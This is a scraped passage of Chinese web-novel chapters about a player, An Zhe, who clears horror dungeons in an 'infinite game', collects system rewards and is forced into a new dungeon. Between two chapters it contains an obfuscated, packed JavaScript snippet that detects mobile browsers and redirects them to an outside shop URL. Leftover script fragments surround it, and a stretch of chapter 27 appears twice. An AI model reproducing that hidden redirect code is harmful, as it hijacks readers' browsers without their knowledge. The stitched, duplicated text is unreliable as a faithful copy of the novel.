仅存不多的生机飞快流逝,祁槐辛双眼圆睁,终究还是死在了这个他看不起的新手副本里。
“缺的就是你手上的这个道具,否则留你活这么久干什么呢。”
翁浩瀚愉快地哼着歌,如同先前祁槐辛做的那样,一脚将祁槐辛也踢进了血池里。
看着祁槐辛的身影逐渐消融在血池中,翁浩瀚轻哼一声,手中的长刀化作光点消散。
“接下来,就是主持血祭仪式了吧?感觉血精献祭得有点不太够啊……”
从背包中掏出一卷泛黄的羊皮,翁浩瀚对比着羊皮上的文字和眼前的情况,愁眉苦脸地纠结着。
“算了,就这样吧。”
将羊皮卷收起,懒得动脑子的翁浩瀚将手中小木块随意扔进血池,而后敷衍地在胸前划了几道。
“希望邪神大人能看上我吧,阿门。”
嗡——
木块落入血池的那一刻,原本黯淡猩红的血池瞬间沸腾起来。
翁浩瀚抱臂守在血池旁,无聊地等候着,还时不时地用刀将漂浮起来的祁槐辛往下戳一戳,很明显是嫌弃这个毁容老登过于耐熬。
咚!
一片沸腾而又安静的咕嘟声中,翁浩瀚身后突然有声音响起。
在他瞬间冷脸,杀气四溢地回看目光中,终于从关卡中走出的安哲拎着他心爱的小菜刀,从断裂的石柱后好奇探头。
“老乡,你这是在弄啥嘞?”
翁浩瀚:“……?”
26.唐顿庄园(二十六)
“咳,咳咳……”
不知过了多久,安哲的意识从黑暗中苏醒,有些迷茫地睁开眼来。
仿佛置身于深渊般,眼前的世界一片黑暗,他漂浮在那里,像是在水中又像是在空中,四肢酸软的使不上力气,大脑一片昏沉。
眼角的余光瞄了眼手心,发现手中的刀还在,终于放松了一点的安哲松了口气,抬眼,就对上了一双满是好奇的血色眸子。
安哲:“……??!”
完全没发现这家伙是怎么靠近自己的,也根本来不及看长相,安哲心里一惊,下意识地挥刀向这家伙砍去。
璀璨的刀锋如光般闪烁,短暂照亮了这片黑暗,转瞬间便来到了男人面前。
然后便陷入迟滞,再也寸进不能。
安哲:“……?”
眼前的迟滞仿佛不是力量上带来的差距,更像是一个概念——
一切不被允许靠近的存在都无法接近,锐利的刀锋与劈砍的刀势在接近到一定程度后便悄然消散。
这短短的距离中间,仿佛隔着一道能吸收一切的空气墙,任凭他如何努力,也始终寸进不了一点。
但安哲向来头铁,从不信这种邪。
他任凭眼前的男人好奇打量,自己默不作声地悄悄加力,就这么一点一点的,执拗地向手中的刀上施加力量。
伴随着安哲力量的施加,他体内原先储存着的能量以一种极为惊人的速度溶解消散。
赶在力量即将耗尽的前一刻,极为不爽的安哲轻啧了一声停下了手,他静下心来呼了口气,冷静下来后开始打脸眼前的男人。
这是一个看上去非常好看,极度符合世人审美中的帅气,又带着点邪性的男人。
玄重的长袍披在他的身上,墨色长发在脑后乖顺地垂着,呼吸间仿佛有流动的黑闪过,高挺的鼻梁下,唇瓣淡漠而又削薄,红色的瞳孔纯净剔透,此刻看着安哲的眼神好奇而又无情,像极了进食前打量自己食物的小动物。
……就离谱,谁家小动物会长得这么凶,这么大只?
安哲被自己的无厘头想法逗到,苍白失色的嘴唇轻轻勾起,他能感觉到体内的生机正在飞快流逝,这里的一切对他来说仿佛真空般,正逐渐缺氧地透不过气来。
“看什么呢哥哥,看这么久?”
怒火在胸中猛烈燃烧,安哲皱眉看着眼前的男人,心里烦得不行。
好生气啊,将他摆布成这样。
别说,这家伙长得还挺好看的,很适合被他一刀砍死。
似乎被安哲亮晶晶的眼神吸引,又似乎被他这瘦小身躯中的强烈情感惊到,悄无声息间,两人间的距离无声拉进。
安哲能感觉到这家伙对他越来越好奇,看向他的眼神也带上了点奇怪的意味。
“……哥哥?”
安哲轻轻吐气,体内流失的力量伴随着他的呢喃飞速回满,炽热的能量滚烫而又古怪,以肉眼可见的速度指数级暴增。
系统不是已经崩了吗,竟然还能通过绿茶行为收集到能量?
不过,这样的话……
安哲眨了眨眼,向眼前这个冷冰冰的男人露出一个明丽笑容。
“哥哥,你先放开我好不好?”
握着刀的手腕悄然用力,安哲歪头,依旧笑眯眯的,眼角处的小泪痣勾人夺魄,仿佛在黑暗里悄悄发光。
“哥哥,你是谁,会说话吗,做个自我介绍?”
眼前的男人依旧没有说话,他学着安哲的样子歪头,盯着安哲力量回归后血色恢复,重新变得粉嫩的唇瓣盯了好一会儿。
似乎陷入思索般,他冷冰冰的眸子逐渐聚焦,视线又再度向安哲看去。
“哥哥,你到底在看什么呢哥哥?”
安哲才不管他到底在想什么,一口一个哥哥地努力刷着能量。
前所未有的澎湃力量在他体内奔腾流淌,安哲呼了口气,眯眼看着这个不知不觉间,已然靠得离他越来越近的男人,笑容再度勾起。
“……哥哥?”
安哲小声呼着,脸颊和眼角处因激动而泛起淡淡的薄红。
“你这是在看我吗,你靠得好近啊哥哥。”
安哲的声音越来越轻,说到最后近乎于轻语,那个一直打量着安哲的怪物也随着他声音的降低越贴越近,到最后,几乎将安哲整个人都圈入怀中。
快了,就快了,再近一点……
安哲将头靠在他的脖颈处,呼吸间炽热的鼻息喷洒,仿佛有些不习惯般,揽着他的男人顿了一下,却没有动手将安哲推开。
在安哲看不见的角度,男人伸手,修长有力的手指轻抬。
一柄与翁浩瀚扔进血池里的材质相近,但却精致许多的小木剑飞速凝成,而后被他放进了安哲的背包中。
系统空间自带的屏障对他来说仿佛并不存在,造型精致的小木剑就那样顺利地进入了安哲背包,没有半点阻碍。
余光扫到了安哲背包中的一个道具,男人学着安哲刚才的样子歪头,伸手将道具取出。
下一秒,锐利的疼痛在脖颈处猛然炸响。
终于等到了这个距离的安哲挥刀,毫不犹豫地顺着他歪头的动作,将刀狠狠嵌在这家伙的脖子里。
在骤然炸开的金色血液中,系统机械冰冷的电子音在安哲脑海中再度响起。
【副本已完成,传送倒计时,5,4,3……】
禁锢已经消失,安哲抹了把脸上溅到的血液,果断拉开距离,微笑蹦跶着向后退去。
在即将归零的倒计时里,安哲笑着向眼前一脸错愕的男人甩了个飞吻,声音悦耳甜腻。
“再见了哥哥,嘻嘻,爱死你了呢。”
下一秒,回归倒计时清零,安哲的身影化作一片碎光消散。
男人下意识抬眼,顷刻间,这方空间被彻底地隔绝锁死,却终归是慢了一步。
耳边,安哲刚才笑嘻嘻的声音仍在飘荡,独自站在虚空中的男人垂眼,他沉思片刻,握着手中的道具缓缓消散。
【叮——】
【欢迎回到系统空间,副本收益结算中,请稍后】
纯白色的系统空间中,安哲的身影狼狈跌落。
安哲喘了口气,刚刚宛如被大型猎食者盯上后的窒息感仍未消散。
“啧……”
不爽地轻啧一声,安哲甩头散掉脑海中那家伙挥之不去的印象,精致脸蛋上一脸晦气。
最后还是没忍住恶心了对面一下,话说那是副本里的怪物吗,之后应该……遇不到了吧?
【呜呜哲哲,你回来了,刚才吓死我了!】
脑海中,小系统的声音再度响起,隔着机械的电子音都能感受到它的后怕与激动。
【刚刚怎么回事,突然联系不上你了,好吓人啊QAQ】
安哲:“……”
“这应该,是你需要向我解释的东西吧?”
面对安哲的疑惑询问,小系统沉默片刻,再度卡壳。
【这个,这个我也不清楚哎……】
非常拟人化的扭捏了两下,小系统吭哧吭哧的,将它这边遇到的情况和安哲和盘托出。
【刚才受到未知力量的干扰,主系统与你的连接中断了一会儿,这种情况还是第一次出现,主系统那边也没有备案……啊对了,主系统让我不要给你说来着】
后知后觉地发现自己把情报透了个掉底,小系统往宿主那边贴了贴,小声叭叭。
【哲哲你不要告诉主系统啊,给祂说了我要吃处分的】
“……你放心,我们关系多铁,我绝对不会向主系统告密的。”
压根没法和主系统联系的安哲弯着眼睛,笑眯眯地保证着,义气十足的样子把小系统给感动得眼泪汪汪的。
看着在系统空间里具现出外形,围着自己欢快飞舞扑腾的小发光团子,安哲审视片刻,一时间有些疑惑。
他的系统是特例还是什么特殊情况,总不能每个人的随身系统都这么蠢……咳,好忽悠吧?
安哲伸手戳了戳小光球,光球在他手指间亲昵地蹭着。
和宿主愉快地贴了贴后,小系统突然一拍脑门,想起了什么事来。
【对了哲哲,之前你在新手副本里被bug吞掉的奖励,我帮你要回来啦!】
欢快叮叮叮着转了个圈,小系统示意安哲去看系统背包,语气很是骄傲。
【我据理力争,和后勤处的同事吵了好久,帮你把补偿规格往上提了一档,补偿过来的都是超稀有的实用道具哒!】
“谢谢,辛苦了。”
安哲在小光团脑袋上搓了搓,看着本就围绕着他兴奋蹦跶的小光团变得愈发兴奋。
感慨了一下这家伙好像小狗,安哲调出系统面板往背包中看去,不由得带上了点期待。
【测谎仪[升级延时版]*3(特殊道具):使用后可随心意变换成各种样子,测试出被使用者是否说谎,如若说谎,测谎仪顶部的绿灯变红;
如果被使用者在测试期间一直没有说谎,使用期结束后,测谎仪顶部的灯熄灭(使用时间:15秒)】
【祈神木剑(特殊道具):连接沟通神明的珍贵仪仗,由特殊存在溶解了珍贵道具后,亲手凝练而成,献上饱含气息的血液,奉上虔诚的呼唤,只要你足够诚心,神明会顺应你的呼唤,向你降下无上的福祉】
安哲:“……?”
怎么感觉这系统介绍神神叨叨的。
这补偿道具种类这么杂的吗,科学仪器和神棍用品混在一起发放?
还虔诚的呼唤,神明的福祉……
有些嫌弃地将那把造型精美的小木剑扫进系统背包的角落,安哲将测谎仪拿出,放在手里细瞧。
这个倒是挺有用的,有了这个,起码下次再遇上庄灿那种嘴硬心眼子多的鬼,就不用担心揍不出来有用情报了。
【怎么样哲哲,发下来的补偿道具好用不?】
凑在安哲旁边一起探头围观测谎仪,小系统边看边哼唧,言语间满是自得。
【哲哲你武力值高,现在又有了绑定的专属菜刀,我特意给后勤处的同事们交代补偿道具不要攻击型的,全换成辅助类型的稀有物品,你看看这些道具,感觉怎么样?】
“感觉不错,挺好用的。”
在小系统脑袋上搓了搓,笑眯眯地看着这家伙跟小狗崽似的得意哼唧,安哲扫了眼自己的系统背包,发现有些不对。
“我背包里的道具,好像少了一个?”
由于背包里的道具本就不多,总共加起来也没占用几个格子,安哲皱眉回想了一下,很快就将神秘失踪的道具对上号来。
“少了适用于任何邪神的通用信物,”安哲顿了一下,目光向祈神木剑上看去。
特殊存在……珍贵道具……亲手凝练而成……
“你同事这是,把我背包里的道具给升级了?”
安哲不确定地问道,总感觉有哪里怪怪的。
小系统的同事权限这么大吗,可以直接调动玩家背包里的物品?
【唔,我也不清楚,系统好像没有权限改动玩家背包内的道具,反正我是没有……
不过当时和后勤处的同事吵架撕逼的时候,它们吵不过我,好像确实说要给哲哲你的补偿道具升级来着,可能它们权限更高?我还以为补偿升级的是测谎仪来着……】
小系统依旧是一问三不知,说来说去还把自己说晕圈了。
瘫在安哲肩膀上想了想,小系统起身,下定决心。
【不管了先报错,说不准就能再诈过来几个补偿道具呢!】
小系统之前和他科普过,只要是系统下发过的道具,后续都可以通过积分在系统商城中继续购买。
安哲扫了眼系统商城,发现‘适用于任何邪神的通用信物’已经以20万积分一个的离谱价格,高高地挂在了商城购买首位,紧随其后的就是2万积分一个的测谎仪。
反倒是疑似升级后的祈神木剑没有出现在系统商城,不知是何原因。
【副本:唐顿庄园(已通关)】
【副本探索度:100%,副本评价:S,通关奖励:积分300000(已发放),适用于任何邪神的通用信物*1(已发放至玩家背包中)】
【哲哲报错反馈发下来啦,你背包里消失的道具疑似bug,已经通过通关任务奖励对你进行补发~】
安哲将测谎仪收回背包,笑眯眯点头。
点进系统商城里的外观和家园模块,安哲挥手,将他在新手副本里看了很久,早就看中的豪华大别墅买下。
这可是他在末世中做梦都想拥有的、没被恶臭僵尸和变异动植物污染过的大房子,现在竟然只要十万积分,好爽!
【哲哲你积分要不要省着点花,虽然你现在还有一百多万积分……唔……以后购买武器和道具也需要积分……唔……养你的刀也需要积分……唔……】
小系统担心安哲在不必要的地方浪费太多积分,下意识地就想劝谏。
然而劝着劝着,小系统发现正常玩家需要抠抠搜搜攒积分的地方,安哲全都不用苦恼。
积分余额不够?
安哲下第一次下副本,还是向来没什么油水的新手副本,就堪称奇迹般地挣到了一百多万积分。
攻击型武器和道具积分昂贵?
缺少武力值对安哲来说好像就是个笑话,他这个宿主刚进副本就能赤手空拳地揍得里面的鬼满地乱爬。
养灵魂武器?
灵魂武器对主播来说确实是个很大助力,想要提升需要喂养很多珍贵材料和道具,但是……
“刀还需要养的吗,也就是说,喂他吃东西,后续还能提升?”
窝在柔软的大沙发里,安哲舒服眯眼,像一只慵懒打盹的猫。
他抬手将刀唤出,此时的菜刀经过打磨与重塑,早已不再是原先脏污破旧的样子。
原先短宽的刀面变得瘦长,长度延伸了1.5倍,宽度缩减了一半,之前轻薄的刀身变得厚重,黑色冤魂原先粘合的痕迹还在,却只象征性的取到了外观上的作用,不再有断口与裂痕。
幽幽的冷光泛过,整把刀泛起乌黑的色彩,淡淡黑烟与哀嚎缭绕其上,这是一把看起来就极为不详的,肉眼可见的凶刀。
“如果要吃东西的话,你挑食吗?”
面对安哲的好奇发问,与那似有若无的杀意与危机感。
本就是苟活逃命过来的黑色冤魂从刀中冒出,飘着黑烟的脑袋狂点,生怕点慢了就造成什么误会,让这个笑眯眯的小杀胚对他痛下狠手。
“真不错啊系统,他说他不挑食。”
满意地将黑色冤魂塞回刀里,还不清楚自己无意间用脸把鬼给威胁了的安哲笑眯眯的。
他挥了挥手上的刀,发现这刀好像不知不觉间发生了变化,现在用起来更顺手了。
将刀散掉后摸着下巴,安哲窝在沙发里,耷拉着眼陷入沉思。
“既然不挑食的话,那就什么都能喂吧,唔,还挺好养的……”
此时此刻,在场一人一鬼一系统的脑海中,不约而同地闪过了某个画面。
黑色夜幕,阴暗古堡,狂风骤雨中,一道雷光闪过,一截又一截墨绿色的藤蔓在地上狂蹦,不断吐出足以腐蚀坚硬石块的腥臭汁水。
旁边,已经被毒翻也被麻翻,同样也被撑翻了的一群鬼躺在泥地里,脸上的表情一个赛一个的绝望与凄苦,眼睛里全都失去了光。
边缘处角落里,疑似被拖了过去,周围泥地上满是挣扎爬痕迹的庄灿被安哲锤了一拳,而后不耐烦地掰开嘴往里面不断地塞断藤。
在庄灿哽咽抽搐,墨绿墨绿表示自己真的吃不下了的扭曲表情里,安哲抬手就是一个小拳头砸了过去,皱眉很是嫌弃。
“打架没用,说话又不老实,现在就连唯一能吃的这个优点也要没有了吗?”
“吃!这些吃不完的话,我等你把你脑袋拧下来给孩子拿着玩儿当球踢!”
不远处,疑似是安哲口中‘孩子’的玩偶小熊打了个哆嗦,抱着手术刀缓缓挪去了离安哲更远一点的位置。
回忆外,清楚自己接下来要过什么日子了的黑色冤魂哇哇大哭,扭曲鬼脸上不断飙出斑斑血泪。
呜呜不要啊!
他不就是带头残害了一古堡的活人,把古堡主人一家三口鲨了后又把古堡里的仆人都抓起来做人体实验吗?
虽然翻车后化作厉魂跑去鸠占鹊巢,欺负唯一‘活下来’的孤儿又吃了她好几十年的灵魂能量,但那个小丫头的灵魂坚韧,不也没被他折磨死吗,还留着一口气跟那只畜生小熊一起撑到了最后!
怎么就沦落到了要被这个小变态折磨至此的地步,他好冤啊,他好冤呐,与其被这么折磨,他还不如去死!
当然了,也并不愿意去死,当初在死和苟活间毫不犹豫选择了跪下来求饶当狗的黑色冤魂眼泪汪汪,恨不得仰天长啸着诉说着自己的冤情。
或许是他在刀里盘踞着的感情过于激烈,将困不困间睡意朦胧的安哲“嗯?”了一声,抬眼向他看去。
“你是有什么想说的吗?”
安哲打了个哈欠,由于困倦和被打搅了入梦的不爽,他向来微弯的猫眼和唇角此刻都抿着,精致脸蛋看起来带着点莫名凶气。
“还是有什么事要告诉我?”
对上安哲带着点生理泪水的冷淡目光,原本正在刀内空间里上蹿下跳发泄感情的黑色冤魂猛一激灵。
不见半点刚才的不满与怨怼,黑色冤魂谄媚地飘上前去,阿巴阿巴地和安哲说了好大一通。
“唔,这个也能吃……这个也可以?……哇,这种你也能吃的吗?……”
仿佛打开了新世界的大门般,安哲听得一愣一愣的,一时间,他看向黑色冤魂的眼神都不对劲了。
“这么杂食的吗,真就什么都能吃啊?”
面对安哲宛如看吃粑粑小狗那震惊中还带着点嫌弃的微妙眼神,为了活命不顾一切的黑色冤魂眼泪汪汪。
他昂起自己倔强的头颅,在饲主震惊和审视的目光中,冷冷回了一个字。
“嗯。”
围观了全程的小系统:“……”
有一说一,他们家哲哲真的很有做反派的天赋呢。
再次感慨黑色冤魂真好养活的安哲摇了摇头,他窝在柔软的大床上,闭上眼睛,躺在二百多平阳光明媚的大主卧中安然入睡。
徒留黑色冤魂在他看不见的角落里,蹲在长刀内部碎碎念,雾气飘渺的黑色丑脸上不断流下血色泪滴。
“呜呜……”
好可怕的人类,有没有人来制裁一下啊!
接下来的几天时间里,安哲生活过得放松又滋润。
系统别墅买完后每个月还要交几百到上千积分的保养费,交完之后便能一键打扫整理房间,甚至还能花积分改造房屋的空间和排列顺序。
安哲窝在自己新买的大别墅里,快快乐乐地当着小宅男。
他利用个人空间中的网络快乐追剧,左手零食右手饮料,使劲刷小说和短视频,很是努力地恶补了一番这个世界的娱乐和文化,试图当一把时尚和潮流的弄潮儿。
就这样愉快地咸鱼瘫了三天,在一个阳光明媚的早晨,安哲刚刚睡醒,小系统就慌张无比地找上门来。
【哲哲!有人对你使用了强行组队券!快准备一下,马上你就又要进本啦!】
“……嗯?”
刚睡醒的安哲还有点懵:“不是说下次进本最快也要一周后吗?”
【所以说是‘强行’组队券啦,可以无视新人和各种道具的保护期,卡着三天的最低休息时间强行邀人。这个道具很珍贵的,买都买不到,一般都是用来好友组队下特殊副本,以及……】
“以及用来邀请仇人害人的是吧?”
从小在末世里一路摸爬滚打着长大,真善美什么的安哲可能不太熟悉,但对这种黑心烂肚肠的害人手段,安哲闭眼都能说出个五六七八来。
“别让我知道是谁,不对,我知道是谁,那个翁浩瀚和他身后的邪教教团,上个副本就他们活下来了!”
即将进入副本的提示已经出现,在冰冷无情的机械音倒计时里,起床气超大的安哲揉了揉脸,小表情超凶。
“那个什么教团,至邪还是至暗来着,还有那个翁浩瀚,我记住他们了……”
嘎巴嘎巴地捏着指骨,安哲笑眯眯的,身上的气息却凶得黑色冤魂使劲往刀的角落里钻。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725549|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>【副本载入中,欢迎进入无限游戏】
.
“唔……”
熟悉的轻微眩晕感传来,仅仅一晃神的功夫,安哲就发现周围的景色又变了。
他躺在阴冷潮湿的被窝中,周身光线昏暗,冷飕飕的风从床铺右侧的窗户破口处不断吹来,正对着他的脑袋。
透过破烂发黄的窗户纸,并不明亮的月光勉强照射进来。
在这勉强能看清周围都是些什么的昏暗环境里,安哲睁眼,就发现有东西正趴在他身上,低下头来好奇俯视着他。
此时一阵阴风吹过,遮蔽月亮的乌云被悄悄吹散,明亮的月光满怀恶意地撒进房间,恰好照在那毛茸茸的脸上。
安哲睁眼就和那乌黑明亮的阴冷眼神对上,他冷笑一声,抬手就将那明明长着类人身躯,一头长发却有着猫脸的怪物给一拳揍开。
准备扑咬的大嘴刚刚张开就被强行闭合,差点咬到自己舌头的类人猫妖“嗷”了一声,眼泪瞬间飙起。
感觉到眼前这人不好对付,应该是啃不了,长着张似人似猫诡异脸庞的怪物转身欲跑,脚腕却被安哲狠狠捏住。
“跑什么啊哥哥,我们才刚见面打过招呼,这就要走了吗?”
拖着类人猫妖的脚腕,不想弄脏床铺的安哲转身往房间里的空地处走。
在人脸猫妖的拼命挣扎与疯狂刷屏的负面情绪值记录里,安哲邦邦两拳压下它的反抗。
按在地上揍了一好会儿,安哲呼了口气,垂下眼睑开始问话。
“说,你手里都有什么情报?”
[味对了味对了,哈哈不枉我专门给主播设了个特别关注,提示弹窗一亮我就奔过来了!]
[妈呀,进来就看见长着猫脸的长毛人在扑脸,吓死我了o(╥﹏╥)o]
[吓死+1,还是哲哲的直播间好,暖暖的很安心,就适合我这种又害怕又想看的看^o^]
直播间里,最先赶到的就是之前世界大战里安哲吸到的善良·稀少版粉丝。
他们用着暖心的颜文字,发的消息正能量温和而又不失活泼,是无限直播里少见的清流,向来被喜好斗争、恶言恶语的观众们讨厌打压。
[话说哲哲上一个副本不是刚结束吗,怎么这么快就开新副本啦,哲哲好勤劳呀,也要多注意休息呢]
[哲哲的主播评级出了吗?好好奇,感觉评级最起码也是个D吧,大多数主播的初始评级都是E或者F,哲哲好棒!]
[不对,副本间最低休息期不是七天吗?主播这是被强拉进副本里了?]
[真是被强拉进来的哎,这可是B级副本……主播评级是通过新手副本后第七天才刷的吧,我去看了看,主播现在的评级仍旧是未知,主播这是招谁惹谁了,仇怨这么大?强行组队券很贵的啊!]
[啊这……]
[Emmm,哲哲惹的人好像有点多,虽然大部分都死了……]
[至暗教团好像对主播直接发追击令了?还是红牌追击令,等级仅次于最高等的黑牌……]
[咳咳……]
“招谁惹谁了”的评论一出,安哲直播间的弹幕里,气氛顿时变得尴尬微妙了起来。
回味了一下安哲之前横碾副本,从人到鬼揍了个遍的操作,一时间,就连滤镜向来极厚,对新手主播尤为宽容的友好善良粉们也忍不住尴尬了起来。
坏消息,人好像全都得罪完了。
好消息,得罪的人大部分已经死了,只活着出去了一个。
坏消息,活着出去的那个是至暗教团的枢机主教。
至暗教团的人是出了名的神经病小心眼和爱记仇,活着出去的那个,出本就直接给安哲挂上了红牌悬赏追击令。
好消息,主播看起来挺能打的,真碰上至暗教团的人了,也应该还行……?
[算了算了,我们还是来讨论一下上个副本最后突如其来的黑屏吧]
[@无限直播,好好维护你家线路啊,姐每年在你家冲那么多钱都冲成至尊黑钻了,这都8032年了看个直播还能黑屏,小垃圾你还能不能行?]
直播间弹幕里,对安哲人际关系绝望了的观众们开始唠嗑。
直播间外,安哲皱眉收回了手,轻轻地啧了一声。
“你真不会说话?”
“……喵嗷!!!”
【收集到人脸猫的负面情绪,能量值+999!】
前来偷袭的人脸猫明显是气狠了,捂着被揍得肿了两圈的大脸,龇牙咧嘴地冲安哲哈气,乌黑明亮的眼睛亮亮的,还闪着丝眼泪掉落后残存的水光。
它瘦小颀长的身躯盘踞在地上,毛茸茸的脸躲在毛茸茸的手臂旁,被揍得缺了一颗的大牙外突咧着,使劲哈气咪呜喵呜地叫,明显骂得很脏。
都揍成这样了也不开口,明显是真的不会说人话啊……
话说他是不是被系统针对了,上个副本他靠殴打鬼获得了大部分情报,这个副本及时调整,安排过来偷袭他的鬼干脆不会说话,直接从根源上杜绝了他获取情报的拿手方式?
一拳将不死心想要咬他的猫脸揍回,安哲看着眼泪汪汪,被揍老实后盘在地上装死的人脸猫,一时间很是惆怅。
连话都不会说的话,他好像确实拿这猫没有办法了……
不对,等等?
目光幽幽地在人脸猫被揍断的大牙豁口上盯了一会儿,突然想起什么的安哲眼眶一亮,抬手将长刀唤出。
“这个,你能吃吗?”
指着地板上人脸猫掉(揍)落(断)的大牙,安哲眼睛亮亮的,看向黑色冤魂的眼神满是期待。
“你刷过短视频吗?玩过小游戏吗?这种看起来特别像专精武器的大牙,你拿到后能吃了给我的刀附魔不?”
一拳将人脸猫以为有机会,死命挣扎想要逃跑咬人的另一颗大牙也揍断,安哲一手按猫,一手抓着牙,将两颗还带着豁口与血迹的大牙拄在黑色冤魂脸上,兴奋的眼神闪闪发光。
“你把它吃了,我想要那种氪(坑)金(钱)小游戏里特别炫酷的武器特效!”
黑色冤魂:“……”
啊?
我?
我还有这种功能?
黑色冤魂很想说不行,但他知道安哲这小变态脾气不好,来之前又刚被吵醒有起床气,黑色冤魂很担心自己拒绝后这小变态一个生气,抬手把他头给拧了。
犹犹豫豫地思考一会,在安哲逐渐疑惑的目光中,以及人脸猫愈发凶戾的眼神里。
根本就没有良心这种东西的黑色冤魂扭捏一下,嗷的一口将两颗大牙吞进肚里,然后他鼓荡起身形,拼了命地往外散发黑气,还时不时地鬼叫两声,眼中散发出猩红色彩。
估摸着那什劳子附魔特效应该是表演够了,黑色冤魂从嘴里喷出一口黑烟,有些心虚地向安哲传递过去了一个消息。
“……啊?附魔失败了?”
安哲愣了一下,倒是没黑色冤魂预想中的那么生气。
“原来你还真能附魔,没事失败就失败吧,这个材料看起来也不是很好,真附上去了还可能倒扣我武器的属性。”
刚在个人空间里预下载了好多小游戏,突然被拽进副本一个都还没来得及玩的安哲怨念十足。
在黑色冤魂“早说你也不确定,我就不跟着演了”的呆滞目光中,安哲舒了口气,他赞赏地在黑色冤魂脑袋上轻拍,好悬没把黑色冤魂黑烟组成的脑袋拍散。
在黑色冤魂愈发不对,滴滴狂叫的不妙预感里,安哲抬手将人脸猫放掉,握着长刀缓缓起身。
“没事,”安哲笑眯眯的,斗志熊熊燃烧。
“既然能附魔的话,我多给你打点好材料,你好好吃,那句话怎么说来着,再穷不能穷教育!”
“啊对了,”似乎想起了什么般,安哲歪头,表情凝重地向黑色冤魂看去。
“你在吃材料的方面有什么忌口吗?比如小游戏里常见坑钱的属性克制,还有材料崩坏?”
没有没有,绝对没有!
看着安哲逐渐凝重和皱起的眉头,也确实是什么都吃的黑色冤魂脑袋狂摇,死命拍胸脯表示自己是个良心刀灵,绝对不搞那些花里胡哨的坑人东西。
【叮,考虑到玩家等级差异较大,现开启系统指引】
【指引1:请及时离开房间,外出与其他队友汇合】
看到黑色冤魂的死命保证,安哲满意点头,他将刀收起,遵循姗姗来迟的系统指引,准备出门与队友汇合。
而在刀灵空间中,黑色冤魂看着刚被他吞进来,还没想好要不要消化的人脸猫两颗大牙,不知道接下来该怎么圆的黑色冤魂啜泣一声,脸上流下两行猩红泪滴。
神特么的附魔和特效,他去哪搞这些花里胡哨的东西。
到时候搞不出来不会又要挨打吧?
吗的,救命。
安哲赤手空拳地将门推开,表情谨慎地向外走去。
他没忘记新手副本里翁浩瀚看到他手里的刀后,瞬间凝重的危险表情,也没忘记系统刚才提醒他的是什么东西——
玩家等级差异较大,现开启系统指引。
会恶意把他拉进来的,肯定不是什么简单副本,其他玩家又都是等级比他高很多的老玩家。
安哲还没出门就转换了对策,在敌暗我明的前提下,他决定伪装自己。
表情肃冷地皱紧眉头,安哲看着站在院中央的几个人影,步伐缓慢地靠近。
“呦,这么快就又出来了一个,可以啊,这次队友水平都还不错。”
还不等安哲走过去,轻挑的口哨声响起,懒洋洋的打趣声音就传了过来。
打定主意装高冷的安哲没有出声,沉默地继续靠近。
他缓缓走出房屋树影间的阴影,暴露在月光中的那一刻,看着他精致昳丽的脸蛋,在场人都愣了一下,目光带着点下意识的迟疑。
“兄弟你这是……颜值主播?”
安哲眯眼皱眉,轻轻地“啧”了一声,眼神冰冷地向发问那人看去。
目光对上的那一瞬间,发问男人猛地一怂。
清楚地从安哲的目光里感受到了危机与压迫感,明白了什么的秃头男人哈哈大笑着,尴尬地摸了摸脑袋。
27.乡村诡话(一)
安哲赤手空拳地将门推开,表情谨慎地向外走去。
他没忘记新手副本里翁浩瀚看到他手里的刀后,瞬间凝重的危险表情,也没忘记系统刚才提醒他的是什么东西——
玩家等级差异较大,现开启系统指引。
会恶意把他拉进来的,肯定不是什么简单副本,其他玩家又都是等级比他高很多的老玩家。
安哲还没出门就转换了对策,在敌暗我明的前提下,他决定伪装自己。
表情肃冷地皱紧眉头,安哲看着站在院中央的几个人影,步伐缓慢地靠近。
“呦,这么快就又出来了一个,可以啊,这次队友水平都还不错。”
还不等安哲走过去,轻挑的口哨声响起,懒洋洋的打趣声音就传了过来。
打定主意装高冷的安哲没有出声,沉默地继续靠近。
他缓缓走出房屋树影间的阴影,暴露在月光中的那一刻,看着他精致昳丽的脸蛋,在场人都愣了一下,目光带着点下意识的迟疑。
“兄弟你这是……颜值主播?”
安哲眯眼皱眉,轻轻地“啧”了一声,眼神冰冷地向发问那人看去。
目光对上的那一瞬间,发问男人猛地一怂。
清楚地从安哲的目光里感受到了危机与压迫感,明白了什么的秃头男人哈哈大笑着,尴尬地摸了摸脑袋。
“兄弟对不住,我这人是个大老粗,不是有意冒犯的哈,先给你说声对不起。”
“不过兄弟你也长得太好看了,平时下本没少被人认错吧?”
安哲墩着脸“嗯”了一声,带着点明显不爽地走进队伍。
看着他即便生气却依旧十分好看,甚至因为生气还带上了点别样风情的精致脸庞,原本还在打趣秃头男人眼神差,颜值主播和战斗主播都能认错的高个同伴也有点绷不住了。
但看着安哲周身低到都快冒出黑气的低气压,同样意识到这是个高手的高个男人拐了秃头男一胳膊,两人再次向安哲认真道歉。
“……没事。”
还是头一次装高冷高手的安哲摆了摆手,背着手安静走到了院中央的小圈人群中。
“我叫林凡,这个秃头叫高溯,这位是严嵩严局,”高个给安哲介绍,热情招呼。
“帅哥你怎么称呼?”
“我叫安大力,你们可以喊我小安,”冲院内三人点了点头,安哲随口说道。
“我力气比较大,朋友们一般都说我是‘大力出奇迹’。”
“哈哈这样啊,帅哥你还挺逗的。”
高个的话还没说完,旁边别的屋子内,陆续有人向外走出。
一个同样高壮,但没有秃顶的胖子,一个脸色阴冷,但笑眯眯感觉有点不怀好意的矮瘦男,还有一个低头看不清表情的女人。
几乎是差不多的时间,三人先后从各自房间内走出。
随后‘哄’的一声巨响,伴随着刺耳的尖叫,房间内传出两声哀嚎,随之而来的,就是某种生物的吞咽和咀嚼声。
“呀,开场就有两个人淘汰,看来这次副本难度很大啊。”
没有秃顶的高个男笑嘻嘻的,特意往严嵩那边看去。
严嵩对上他的目光没什么反应,嗓音冷淡:“你们噩梦委员会特意把我拉进这个副本,就派了你们两个?”
